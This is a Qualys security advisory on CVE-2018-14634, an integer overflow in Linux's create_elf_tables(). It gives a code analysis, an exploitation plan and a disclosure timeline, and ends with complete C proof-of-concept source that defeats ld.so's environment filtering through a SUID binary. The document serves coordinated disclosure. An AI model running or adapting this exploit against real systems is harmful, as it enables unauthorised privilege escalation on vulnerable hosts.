Qualys Security Advisory
Mutagen Astronomy: Integer overflow in Linux's create_elf_tables()
(CVE-2018-14634)
========================================================================
Contents
========================================================================
Summary
Analysis
Exploitation
Acknowledgments
Timeline
========================================================================
Summary
========================================================================
We discovered an integer overflow in the Linux kernel's
create_elf_tables() function: on a 64-bit system, a local attacker can
exploit this vulnerability via a SUID-root binary and obtain full root
privileges.
Only kernels with commit b6a2fea39318 ("mm: variable length argument
support", from July 19, 2007) but without commit da029c11e6b1 ("exec:
Limit arg stack to at most 75% of _STK_LIM", from July 7, 2017) are
exploitable.
Most Linux distributions backported commit da029c11e6b1 to their
long-term-supported kernels, but Red Hat Enterprise Linux and CentOS
(and Debian 8, the current "oldstable" version) have not, and are
therefore vulnerable and exploitable.
========================================================================
Analysis
========================================================================
150 #define STACK_ROUND(sp, items) \
151 (((unsigned long) (sp - items)) &~ 15UL)
...
165 create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec,
...
169 int argc = bprm->argc;
170 int envc = bprm->envc;
171 elf_addr_t __user *sp;
...
178 int items;
...
190 p = arch_align_stack(p);
...
287 items = (argc + 1) + (envc + 1) + 1;
288 bprm->p = STACK_ROUND(sp, items);
...
295 sp = (elf_addr_t __user *)bprm->p;
"argc", the number of command-line arguments passed to the execve()
system call, is limited to MAX_ARG_STRINGS (in fs/exec.c); "envc", the
number of environment variables passed to execve(), is also limited to
MAX_ARG_STRINGS; but because MAX_ARG_STRINGS is 0x7FFFFFFF, we can
overflow the integer "items" (at line 287) and make it negative.
As a result, we can increase the userland stack pointer instead of
decreasing it (at lines 288 and 295 -- the stack normally grows down on
x86_64), redirect the userland stack to the middle of our argument and
environment strings (which were copied to the top of the stack in
fs/exec.c), and hence overwrite these strings during the userland
execution of a SUID-root binary.
========================================================================
Exploitation
========================================================================
We execve() a SUID-root binary with exactly 0x80000000 "items" (i.e.,
INT_MIN "items"): roughly 0x80000000 * sizeof(char *) = 16GB of argument
pointers, 16GB of argument strings, and 16GB of environment strings. Our
exploit requires "only" 2 * 16GB = 32GB of memory, instead of 3 * 16GB =
48GB or more, because we use a few tricks to reduce its memory footprint
(for example, we replace the nearly 16GB of equal argument pointers with
equivalent file-backed mappings that consume practically no memory).
The following diagram represents the layout of our userland stack when
the execution of the SUID-root binary starts, in ld.so:
| argument strings | environment strings |
--|---|--------|---------+---------|---------+---------+---------+---------|--
| A | sprand | protect | padding | protect | scratch | onebyte | padding |
--|---|--------|---------+---------|---------+---------+------^--+---------|--
| 0-8192 ~16GB 1MB rsp ~16GB
v <-------+---|----------|
| stack | B | pointers |
\-------------->-------------->-------------->--------------/ 16GB
0x80000000 * sizeof(elf_addr_t) = 16GB
- "A" ("alpha") is the amount of stack space allocated by
create_elf_tables() between lines 190 and 287 exclusive (for example,
the platform and base-platform capability strings): it is
approximately 512 bytes.
- "sprand" is a random amount of stack space allocated by
create_elf_tables() at line 190: it varies from 0 to 8192 bytes.
- The "protect" argument strings are vital command-line arguments and
options that must be safe from memory corruption (for example,
argv[0], the filename of the SUID-root binary).
- The "padding" argument strings occupy roughly 16GB of stack space.
- The "protect" environment strings are vital environment variables that
must be safe from memory corruption (for example, our LD_PRELOAD
environment variable, which will be processed by ld.so's
handle_ld_preload() function).
- The "scratch" environment strings are 1MB of safe stack space for the
userland execution of the SUID-root binary: the integer overflow of
"items" redirects the userland stack pointer "rsp" to the middle of
our argument and environment strings (to an offset of 0x80000000 *
sizeof(elf_addr_t) = 16GB) -- more precisely, to the middle of our
"onebyte" environment strings.
- The "onebyte" environment strings are 256KB of one-byte (empty)
environment variables that will be partly overwritten by the 4KB
fname[] buffer in ld.so's handle_ld_preload() function.
- The "padding" environment strings occupy roughly 16GB of stack space.
- The 16GB of argument and environment "pointers" (i.e., the argv[] and
envp[] arrays) are written on top of our "padding" environment strings
by create_elf_tables(), after the integer overflow of "items" and the
redirection of the userland stack pointer "rsp".
- "B" ("beta") is the amount of stack space allocated by ld.so before
the call to handle_ld_preload(): it is approximately 9KB and is
allocated in the middle of our "onebyte" environment strings.
As a result, ld.so partly overwrites (i.e., rewrites) our "onebyte"
environment variables with the fname[] buffer in handle_ld_preload()
(whose contents we control through our LD_PRELOAD environment variable)
and thereby nullifies process_envvars()'s filtering of UNSECURE_ENVVARS
(LD_AUDIT, LD_LIBRARY_PATH, LD_PRELOAD, etc). The exploitation of this
lack of UNSECURE_ENVVARS filtering in ld.so (via a suitable SUID-root
binary) is left as an exercise for the interested reader.
Our proof-of-concept (poc-exploit.c) exploits the integer overflow in
create_elf_tables() and the resulting lack of UNSECURE_ENVVARS filtering
in ld.so: it executes the main() of a SUID-root binary (poc-suidbin.c)
while LD_LIBRARY_PATH remains set, even though it should have been
removed from the environment variables by ld.so. Demonstration:
# gcc -O0 -o poc-suidbin poc-suidbin.c
# chown root poc-suidbin
# chmod 4555 poc-suidbin
$ gcc -o poc-exploit poc-exploit.c
$ time ./poc-exploit
...
ERROR: ld.so: object 'LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored.
ERROR: ld.so: object 'LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored.
ERROR: ld.so: object 'LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored.
argc 2147090419
stack 0x7ffbe115008f < 0x7ffbe1150188 < 0x7fffe0e50128 < 0x7ff7e11503ea < 0x7ffbe102cdea
getenv 0x7ffbe114d83b .
0x7ffbe114d82b LD_LIBRARY_PATH=.
0x7ffbe114df60 LD_LIBRARY_PATH=.
0x7ffbe114df72 LD_LIBRARY_PATH=.
...
0x7ffbe114e69e LD_LIBRARY_PATH=.
0x7ffbe114e6b0 LD_LIBRARY_PATH=.
0x7ffbe114e6c2 LD_LIBRARY_PATH=.
real 5m38.666s
user 0m0.049s
sys 1m57.828s
========================================================================
Acknowledgments
========================================================================
We thank Red Hat Product Security and the members of
linux-distros@xxxxxxxxxxxxxxx and security@xxxxxxxxxx.
========================================================================
Timeline
========================================================================
2018-08-31: Contacted secalert@xxxxxxxxxx.
2018-09-18: Contacted linux-distros@xxxxxxxxxxxxxxx and
security@xxxxxxxxxx.
2018-09-25: Coordinated Release Date (Time: 5:00 PM UTC).
/*
* poc-suidbin.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
int
main(const int argc, const char * const * const argv, const char * const * const envp)
{
printf("argc %d\n", argc);
char stack = '\0';
printf("stack %p < %p < %p < %p < %p\n", &stack, argv, envp, *argv, *envp);
#define LLP "LD_LIBRARY_PATH"
const char * const llp = getenv(LLP);
printf("getenv %p %s\n", llp, llp);
const char * const * env;
for (env = envp; *env; env++) {
if (!strncmp(*env, LLP, sizeof(LLP)-1)) {
printf("%p %s\n", *env, *env);
}
}
exit(EXIT_SUCCESS);
}
/*
* poc-exploit.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <limits.h>
#include <paths.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#define MAPCOUNT_ELF_CORE_MARGIN (5)
#define DEFAULT_MAX_MAP_COUNT (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN)
#define PAGESZ ((size_t)4096)
#define MAX_ARG_STRLEN ((size_t)128 << 10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
int
main(void)
{
if (sizeof(size_t) != sizeof(uint64_t)) die();
const size_t alpha = 512;
const size_t sprand = 8192;
const size_t beta = (size_t)9 << 10;
const size_t items = (size_t)1 << 31;
const size_t offset = items * sizeof(uintptr_t);
#define LLP "LD_LIBRARY_PATH=."
static char preload_env[MAX_ARG_STRLEN];
{
char * const sp = stpcpy(preload_env, "LD_PRELOAD=");
char * cp = preload_env + sizeof(preload_env);
size_t n;
for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) {
size_t i;
for (i = n; i; i--) {
*--cp = (n == 1) ? '\0' : (i == n) ? ':' : '0';
cp -= sizeof(LLP)-1;
memcpy(cp, LLP, sizeof(LLP)-1);
}
}
memset(sp, ':', (size_t)(cp - sp));
if (memchr(preload_env, '\0', sizeof(preload_env)) !=
preload_env + sizeof(preload_env)-1) die();
}
const char * const protect_envp[] = {
preload_env,
};
const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]);
size_t _protect_envsz = 0;
{
size_t i;
for (i = 0; i < protect_envc; i++) {
_protect_envsz += strlen(protect_envp[i]) + 1;
}
}
const size_t protect_envsz = _protect_envsz;
const size_t scratch_envsz = (size_t)1 << 20;
const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN;
if (scratch_envsz % MAX_ARG_STRLEN) die();
static char scratch_env[MAX_ARG_STRLEN];
memset(scratch_env, ' ', sizeof(scratch_env)-1);
const size_t onebyte_envsz = (size_t)256 << 10;
const size_t onebyte_envc = onebyte_envsz / 1;
const size_t padding_envsz = offset + alpha;
/***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN;
const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem;
static char padding_env[MAX_ARG_STRLEN];
memset(padding_env, ' ', sizeof(padding_env)-1);
static char padding_env1[MAX_ARG_STRLEN];
if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1);
const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc;
if (envc > MAX_ARG_STRINGS) die();
const size_t argc = items - (1 + 1 + envc + 1);
if (argc > MAX_ARG_STRINGS) die();
const char * const protect_argv[] = {
"./poc-suidbin",
};
const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]);
if (protect_argc >= argc) die();
size_t _protect_argsz = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
_protect_argsz += strlen(protect_argv[i]) + 1;
}
}
const size_t protect_argsz = _protect_argsz;
const size_t padding_argc = argc - protect_argc;
const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 +
protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2);
const size_t padding_arg_len = padding_argsz / padding_argc;
/***/ size_t padding_arg_rem = padding_argsz % padding_argc;
if (padding_arg_len >= MAX_ARG_STRLEN) die();
if (padding_arg_len < 1) die();
static char padding_arg[MAX_ARG_STRLEN];
memset(padding_arg, ' ', padding_arg_len-1);
static char padding_arg1[MAX_ARG_STRLEN];
memset(padding_arg1, ' ', padding_arg_len);
const char ** const envp = calloc(envc + 1, sizeof(char *));
if (!envp) die();
{
size_t envi = 0;
size_t i;
for (i = 0; i < protect_envc; i++) {
envp[envi++] = protect_envp[i];
}
for (i = 0; i < scratch_envc; i++) {
envp[envi++] = scratch_env;
}
for (i = 0; i < onebyte_envc; i++) {
envp[envi++] = "";
}
for (i = 0; i < padding_envc; i++) {
if (padding_env_rem) {
envp[envi++] = padding_env1;
padding_env_rem = 0;
} else {
envp[envi++] = padding_env;
}
}
if (envi != envc) die();
if (envp[envc] != NULL) die();
if (padding_env_rem) die();
}
const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1);
const size_t filemap_nptr = filemap_size / sizeof(char *);
char filemap_name[] = _PATH_TMP "argv.XXXXXX";
const int filemap_fd = mkstemp(filemap_name);
if (filemap_fd <= -1) die();
if (unlink(filemap_name)) die();
{
size_t i;
for (i = 0; i < filemap_nptr; i++) {
const char * const ptr = padding_arg;
if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die();
}
}
{
struct stat st;
if (fstat(filemap_fd, &st)) die();
if ((size_t)st.st_size != filemap_size) die();
}
const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (argv == MAP_FAILED) die();
if (protect_argc > PAGESZ / sizeof(char *)) die();
if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die();
{
size_t argi = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
argv[argi++] = protect_argv[i];
}
}
{
size_t n = padding_argc;
while (n) {
void * const argp = &argv[argi];
if (((uintptr_t)argp & (PAGESZ-1)) == 0) {
if (padding_arg_rem || n < filemap_nptr) {
if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die();
} else {
if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die();
argi += filemap_nptr;
n -= filemap_nptr;
continue;
}
}
if (padding_arg_rem) {
argv[argi++] = padding_arg1;
padding_arg_rem--;
} else {
argv[argi++] = padding_arg;
}
n--;
}
}
if (argi != argc) die();
if (argv[argc] != NULL) die();
if (padding_arg_rem) die();
}
{
static const struct rlimit stack_limit = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
}
execve(argv[0], (char * const *)argv, (char * const *)envp);
die();
}
